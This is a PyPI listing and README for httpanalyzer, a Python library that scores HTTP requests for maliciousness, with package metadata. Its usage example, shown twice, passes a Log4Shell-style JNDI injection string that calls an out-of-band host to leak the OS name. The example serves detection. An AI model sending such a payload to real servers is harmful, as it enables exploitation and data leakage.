httpanalyzer


Namehttpanalyzer JSON
Version 0.1.6 PyPI version JSON
download
home_page
SummaryLibrary for analyzing http-requests
upload_time2023-06-10 17:00:49
maintainer
docs_urlNone
author
requires_python>=3.6
licenseMIT License
keywords python http
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            <h1 align="center">httpanalyzer</h1>

<p align="center">
<a href="https://www.python.org/"><img alt="Language" src="https://img.shields.io/badge/Language-Python-blue?style=for-the-badge&logo=python"></a>
<a href="https://mit-license.org/"><img alt="License" src="https://img.shields.io/pypi/l/httpanalyzer?color=blueviolet&style=for-the-badge"></a>
<a href="https://pypi.org/project/httpanalyzer/"><img alt="Version" src="https://img.shields.io/pypi/v/httpanalyzer?label=version&logo=pypi&style=for-the-badge"></a>
<a href="https://github.com/MartinMerkli/httpanalyzer"><img alt="Stars" src="https://img.shields.io/github/stars/martinmerkli/httpanalyzer?color=lightgrey&logo=github&style=for-the-badge"></a>
<a href="https://github.com/MartinMerkli/httpanalyzer/commits/main"><img alt="Commit Activity" src="https://img.shields.io/github/commit-activity/m/martinmerkli/httpanalyzer?color=green&style=for-the-badge"></a>
</p>

This is a python library for analyzing http-request. Useful to reduce unnecessary traffic. 

## License

This project is licensed under the MIT-license. See LICENSE.txt for more information.

## Installing

Make sure pip3 is installed and up to date before executing this command.

```
pip3 install httpanalyzer
```

## Usage

Import the library:

```
import httpanalyzer
```

Create a new request instance:

```
instance = httpanalyzer.Request(http_headers, ip, url, admin_panels)
```

Print the malicious rating:

```
print(instance.malicious())
```

### Example

```
import httpanalyzer

instance = httpanalyzer.Request(
    {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
     'Accept-Encoding': 'gzip, deflate, br',
     'Accept-Language': 'en-US,en;q=0.5',
     'Connection': 'keep-alive',
     'Host': '127.0.0.1:80',
     'User-Agent': 'curl/7.82.0'},
    '159.223.205.51',
    '/api/geojson?url=${jndi:ldap://${sys:os.name}.cd387hid68000106u4rtc.oast.me}',
    ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']
)
print(f"Malicious rating: {instance.malicious() * 100}%")
```

### Admin Panels

To reduce the amount of false positives, specify all admin panels you are using. For WordPress this would be `['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']`.

### Flask

httpanalyzer natively supports flask request objects:

```
instance = httpanalyzer.FlaskRequest(flask.request)
```

## Dependencies

Python 3.6 or newer is required. Older versions do not work.

            

Raw data

            {
    "_id": null,
    "home_page": "",
    "name": "httpanalyzer",
    "maintainer": "",
    "docs_url": null,
    "requires_python": ">=3.6",
    "maintainer_email": "",
    "keywords": "python,http",
    "author": "",
    "author_email": "Martin Merkli <martin.merkli@protonmail.com>",
    "download_url": "https://files.pythonhosted.org/packages/c5/d0/f55b5826fcc3418ed00da1f85007f90ffee003cb62d0b25372bf990c2095/httpanalyzer-0.1.6.tar.gz",
    "platform": null,
    "description": "<h1 align=\"center\">httpanalyzer</h1>\r\n\r\n<p align=\"center\">\r\n<a href=\"https://www.python.org/\"><img alt=\"Language\" src=\"https://img.shields.io/badge/Language-Python-blue?style=for-the-badge&logo=python\"></a>\r\n<a href=\"https://mit-license.org/\"><img alt=\"License\" src=\"https://img.shields.io/pypi/l/httpanalyzer?color=blueviolet&style=for-the-badge\"></a>\r\n<a href=\"https://pypi.org/project/httpanalyzer/\"><img alt=\"Version\" src=\"https://img.shields.io/pypi/v/httpanalyzer?label=version&logo=pypi&style=for-the-badge\"></a>\r\n<a href=\"https://github.com/MartinMerkli/httpanalyzer\"><img alt=\"Stars\" src=\"https://img.shields.io/github/stars/martinmerkli/httpanalyzer?color=lightgrey&logo=github&style=for-the-badge\"></a>\r\n<a href=\"https://github.com/MartinMerkli/httpanalyzer/commits/main\"><img alt=\"Commit Activity\" src=\"https://img.shields.io/github/commit-activity/m/martinmerkli/httpanalyzer?color=green&style=for-the-badge\"></a>\r\n</p>\r\n\r\nThis is a python library for analyzing http-request. Useful to reduce unnecessary traffic. \r\n\r\n## License\r\n\r\nThis project is licensed under the MIT-license. See LICENSE.txt for more information.\r\n\r\n## Installing\r\n\r\nMake sure pip3 is installed and up to date before executing this command.\r\n\r\n```\r\npip3 install httpanalyzer\r\n```\r\n\r\n## Usage\r\n\r\nImport the library:\r\n\r\n```\r\nimport httpanalyzer\r\n```\r\n\r\nCreate a new request instance:\r\n\r\n```\r\ninstance = httpanalyzer.Request(http_headers, ip, url, admin_panels)\r\n```\r\n\r\nPrint the malicious rating:\r\n\r\n```\r\nprint(instance.malicious())\r\n```\r\n\r\n### Example\r\n\r\n```\r\nimport httpanalyzer\r\n\r\ninstance = httpanalyzer.Request(\r\n    {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',\r\n     'Accept-Encoding': 'gzip, deflate, br',\r\n     'Accept-Language': 'en-US,en;q=0.5',\r\n     'Connection': 'keep-alive',\r\n     'Host': '127.0.0.1:80',\r\n     'User-Agent': 'curl/7.82.0'},\r\n    '159.223.205.51',\r\n    '/api/geojson?url=${jndi:ldap://${sys:os.name}.cd387hid68000106u4rtc.oast.me}',\r\n    ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']\r\n)\r\nprint(f\"Malicious rating: {instance.malicious() * 100}%\")\r\n```\r\n\r\n### Admin Panels\r\n\r\nTo reduce the amount of false positives, specify all admin panels you are using. For WordPress this would be `['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']`.\r\n\r\n### Flask\r\n\r\nhttpanalyzer natively supports flask request objects:\r\n\r\n```\r\ninstance = httpanalyzer.FlaskRequest(flask.request)\r\n```\r\n\r\n## Dependencies\r\n\r\nPython 3.6 or newer is required. Older versions do not work.\r\n",
    "bugtrack_url": null,
    "license": "MIT License",
    "summary": "Library for analyzing http-requests",
    "version": "0.1.6",
    "project_urls": {
        "homepage": "https://github.com/MartinMerkli/httpanalyzer",
        "repository": "https://github.com/MartinMerkli/httpanalyzer"
    },
    "split_keywords": [
        "python",
        "http"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "ca5adbe98d28456bef60ea302ccaff61952e429fd98d13e4b7d93b639aa7c95b",
                "md5": "cfd0af8fb926b08ad0eebff8b5f7b960",
                "sha256": "b14fc9ee3a50a4ae0278feff2745fdac99931895538fe4f39893ca579035c28a"
            },
            "downloads": -1,
            "filename": "httpanalyzer-0.1.6-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "cfd0af8fb926b08ad0eebff8b5f7b960",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.6",
            "size": 9313,
            "upload_time": "2023-06-10T17:00:44",
            "upload_time_iso_8601": "2023-06-10T17:00:44.942608Z",
            "url": "https://files.pythonhosted.org/packages/ca/5a/dbe98d28456bef60ea302ccaff61952e429fd98d13e4b7d93b639aa7c95b/httpanalyzer-0.1.6-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "c5d0f55b5826fcc3418ed00da1f85007f90ffee003cb62d0b25372bf990c2095",
                "md5": "55910f7f0e574ddaee736ab9f2cd40ff",
                "sha256": "7d657f6d970ae53ce1896eb35775d6ccb4df177df7046b55b41224b327600447"
            },
            "downloads": -1,
            "filename": "httpanalyzer-0.1.6.tar.gz",
            "has_sig": false,
            "md5_digest": "55910f7f0e574ddaee736ab9f2cd40ff",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.6",
            "size": 9888,
            "upload_time": "2023-06-10T17:00:49",
            "upload_time_iso_8601": "2023-06-10T17:00:49.758006Z",
            "url": "https://files.pythonhosted.org/packages/c5/d0/f55b5826fcc3418ed00da1f85007f90ffee003cb62d0b25372bf990c2095/httpanalyzer-0.1.6.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2023-06-10 17:00:49",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "MartinMerkli",
    "github_project": "httpanalyzer",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "requirements": [],
    "lcname": "httpanalyzer"
}
        
Elapsed time: 0.09980s